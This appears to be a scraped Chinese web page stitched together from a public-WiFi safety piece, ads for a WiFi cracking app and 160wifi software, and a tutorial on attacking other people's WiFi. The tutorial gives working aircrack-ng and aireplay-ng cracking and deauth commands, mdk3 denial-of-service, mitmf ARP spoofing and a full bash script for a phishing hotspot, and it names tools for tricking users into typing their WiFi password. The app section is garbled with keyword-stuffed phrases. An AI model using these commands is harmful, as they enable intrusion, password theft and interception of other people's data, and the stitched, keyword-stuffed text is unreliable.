文章导航：
黑客如何攻击公共wifi？
我国公共场所免费WiFi不断增多，然而，由于免费WiFi存在路由器和网络漏洞，成为黑客攻击的对象，导致网民个人隐私泄露、网银被盗等案例时有发生。
黑客攻击公共WiFi最常用三大招式：
1.域名劫持。
在公共的WiFi环境下，进入无线路由器的管理后台，并对域名系统进行修改。当使用者输入网址时，服务器直接把IP跳到黑客设置的钓鱼网站。
2.钓鱼WiFi。
黑客往往选择在繁华商业区构建一个不加密的WiFi，并把WiFi的名字起一个众所周知的热点名称，引诱网民“上钩”。
3.ARP（地址解析协议）欺骗。
黑客和使用者同时连接了同一个WiFi，使用者开始上网浏览，黑客则在其手机上打开了一款黑客软件。该黑客软件很快就进入路由器的WEB管理界面，并将使用者的手机信息读取出来。
如何防范信息泄露：
一是不要盲目地“见网就连”，防止钓鱼的虚假WiFi。
二是不要使用公共WiFi进行网购和网银操作，避免个人信息的泄露。当用户发现账户被劫持后，应在第一时间退出账户，随后退出WiFi。如果直接退网而不先退出账户，缓存的网络数据则不会被清空，将导致黑客可以继续操控用户。
Wifi hacker软件怎么用
【软件介绍】
◆ 软件简介
◆ 这是目前最先进的无线黑客的Android应用程序允许wifi黑客攻击软件你在wifi黑客攻击软件你附近的任何无线网络破解无线网络密钥。例如wifi黑客攻击软件，如果你已经忘记wifi黑客攻击软件了你自己的路由器的网络密钥，你可以使用这个应用程序来检索它。
◆ 支持多种加密类型，包括WEP，WPA和WPA2。
◆ 需要root权限。
【安装说明】
◆ 卸载源文件安装, 安装过本人汉化的前一个版本的朋友可以覆盖安装
这样就可以连WiFi自由上网了！
目前电脑破解wifi能力最强软件是啥?
BT3 它是圈内非常著名的黑客攻击平台wifi黑客攻击软件，说白了就是一个封装好的Linux操作系统wifi黑客攻击软件，内置大量的网络安全检测工具以及黑客破解软件等。BT3因可以方便的破解无线网络而出名，其中内置的spoonwep是一个非常强悍的图形化破解WEP无线网络密码的工具。BT3常与无限破解、蹭网卡等连在一起，其原理是抓包，在众多的数据包中检测相同的字符串，分析其密码。BT3只能破解WEP、WPA、WPA2这三种加密方式，通常大多情况下无线路由都是用这几种加密方式。破解不是什么时候都能破解，这需要信号、用户的使用量、硬件等多方面的原因，信号不好就有很多数据包没有抓获，用户的使用量越多，数据包也就越多，能破解都到数据包在一万以上，然后才去分析密码，最好在大白天多人用的时候。其中有客户端的无线路由破解的机会率会更大，运气好的话只要十分钟左右就可以，不好的话则要几个小时，因为要抓获数据包一万以上，不过也有例外，有时两万个数据包也不能破解。
160wifi可避免wifi漏洞被黑客利用攻击
国内30.2%的家用无线路由器存在“弱密码”漏洞，更有4.7%的家用路由器已被黑。
因为，大部分家庭长期使用“Admin”、“root”等路由器出厂时默认的弱密码。此时，电脑若访问带有攻击代码的恶意网页，路由器设置就会被黑客篡改，在上网时弹出指定广告甚至钓鱼网站。
由于路由器设置复杂，大多用户都不知道如何设置路由器账号密码。因此160wifi软件就完全可以代替路由器，下面小编带大家看看，为何160wifi能够有效避免黑客利用wifi漏洞攻击。
上图可以看出来，160wifi是一款简单易容的无线路由软件，只要在软件界面设置用户名，以及密码就可以开启使用了;对于一般用户来说，只要能开电脑就知道如何操作160wifi，还能自己随意设置账号密码，完全解决了不会设置、修改密码的问题，有效的对自己的无线网络进行更好的保护。
这样一来，只要使用160wifi代替以往的家庭路由器就能够有效的避免黑客利用漏洞对电脑、手机等进行不安全攻击;妈妈也不再担心上网不安全了。
160wifi不仅可以避免wifi漏洞，而且最直接的，为了防止邻居蹭网，160wifi支持随时修改wifi密码。如果发现你的160wifi已连接设备中有你不认识的设备或者不熟悉的IP地址，你就可以先关闭wifi，重新改一次密码或者用户名，这样就可以防止蹭网了。
160wifi一直贯彻着给用户最安全的wifi体验的理念，是居家旅行必备的无线路由软件。
猜你还喜欢：
160wifi启动热点共享失败解决方法
160wifi请手动设置共享或者重置问题解决方法
怎么攻击别人wifi？
1.保密性
我们攻击WIFI的第一个思路就是从保密性出发，我们希望从无线系统中获取用户的明文数据。首先，我们知道WIFI的的认证加密主要有以下四种方式：OPEN（无加密）、WEP（RC4）、WPA（TKIP）、WPA2（CCMP）。
OPEN的WIFI没有采取认证加密措施，任意用户均可链接WIFI，用户数据在BSS（基本服务集）中明文传输，恶意用户没有任何门槛就可连接，然后通过中间人攻击即可获取用户的数据（SSL、SSH等需要其他工具）。如下图所示：
WEP、WPA、WPA2认证加密模式的WIFI需要破解获取密码，然后通过中间人或直接嗅探的方式获取用户明文数据。步骤就不详述了，WEP抓取IVS包，WPA/WPA2抓取handshake包。
WEP大概如下：
airodump-ng --ivs -w /workspace/sniff/airmon --bssid AP的MAC -c AP的chanle wlan1mon #捕获ivs数据包
aireplay-ng -3 -b 目标AP的MAC -h 某一个连接该AP的station的MAC wlan1mon #发送ARP包获取加速获取ivs
aircrack-ng /workspace/sniff/airmon02.ivs
WPA/WPA2大概如下：
airodump-ng -w /workspace/sniff/airmon-wpa2 --bssid 目标AP的MAC -c AP所在chanle wlan1mon #嗅探无线数据，抓取handshake包
aireplay-ng -0 5 -a 目标AP的MAC -c 某一连接AP的station的MAC wlan1mon #发送deauth包，更快的获取handshake
aircrack-ng -w 你的字典文件 /workspace/sniff/airmon-wpa2.cap #破解wpa2密码
密码破解成功后即可连接AP，通过中间人的方式获取用户明文数据，或者直接用wireshark抓取加密包，然后通过airdecap-ng工具解密，然后用wireshark读取已经解密的数据包。
破解WPA、WPA2不一定成功，取决于你字典是否强大，此时我们可以想办法诱骗用户主动输入WIFI密码，比如我们创建一个和目标AP具有同样ESSID的软AP，用户可以连接上，单在浏览网页时会弹出一个虚假的认证页面，告诉用户必须输入WIFI的密码，用户只要输入密码我们即可获取。可以利用fluxion、wifiphisher等工具实现。
wifiphisher将用户输入的密码当做WIFI的密码，但此密码并没有去验证，如果用户输入错误，也会提示出该密码。
而fluxion会将用户输入的密码与handshake校验，成功方认为获取到密码。
2.可用性
通过使目标用户无法使用WIFI来破坏无线系统的可用性，通常通过DOS攻击来实现，比如发送大量的deauth包来迫使用户station与AP解除认证、连接。
aireplay -0 100 -a 目标AP的MAC -c攻击的station的MAC wlan1mon #发送大量的deauth包，迫使目标station无法连接AP
mdk3 wlan1mon a -a 攻击AP的MAC #mdk3可以伪造大量的station与AP连接，从而耗尽AP的资源造成DOS攻击
3.真实性
（1）恶意用户进入无线系统后，可通过中间人攻击获取或修改用户数据。
ARP欺骗或DNS欺骗，ettercap工具非常方便。下面采用mitmf工具通过ARP欺骗将目标浏览网页中的所有图片上下颠倒。
mitmf -i wlan0 --spoof --arp --gateway 192.168.2.1 --target 192.168.2.1 --upsidedownternet
通过driftnet工具抓取目标浏览网页时的图片
driftnet -i wlan0
当然还可以利用中间人攻击做很多事情，比如获取cookie，嵌入js，结合beef进一步攻击等等。。。
（2）伪造AP进行钓鱼攻击
airbase -ng -e airmon wlan1mon #创建钓鱼热点
然后通过下面的脚本开启dhcp服务器（必须先安装isc-dhcp-server），开启路由，开启系统转发，开启防火墙nat等。
1 #!/bin/bash 2 3 echo '配置钓鱼热点...' 4 5 service isc-dhcp-server stop 6 rm /var/lib/dhcp/dhcpd.leases 7 touch /var/lib/dhcp/dhcpd.leases 8 9 ifconfig at0 up10 ifconfig at0 10.0.0.1 netmask 255.255.255.011 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.112 sysctl net.ipv4.ip_forward=113 14 dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at015 echo '等待启动dhcp服务器...'16 sleep 517 service isc-dhcp-server start18 19 iptables -F20 iptables -t nat -F21 22 #iptables -P FORWARD ACCEPT23 iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
此时用户可以不用密码即可连接airmon热点，并可以上网，但此时可以通过嗅探at0网卡获取用户数据。
4.完整性
篡改用户数据，在WIFI攻击这块貌似用处不大。
5.不可抵赖性
发布于 2023-01-08 10:21:16 回复
发布于 2023-01-08 16:58:12 回复
发布于 2023-01-08 15:54:59 回复
发布于 2023-01-08 16:14:24 回复
发布于 2023-01-08 06:45:52 回复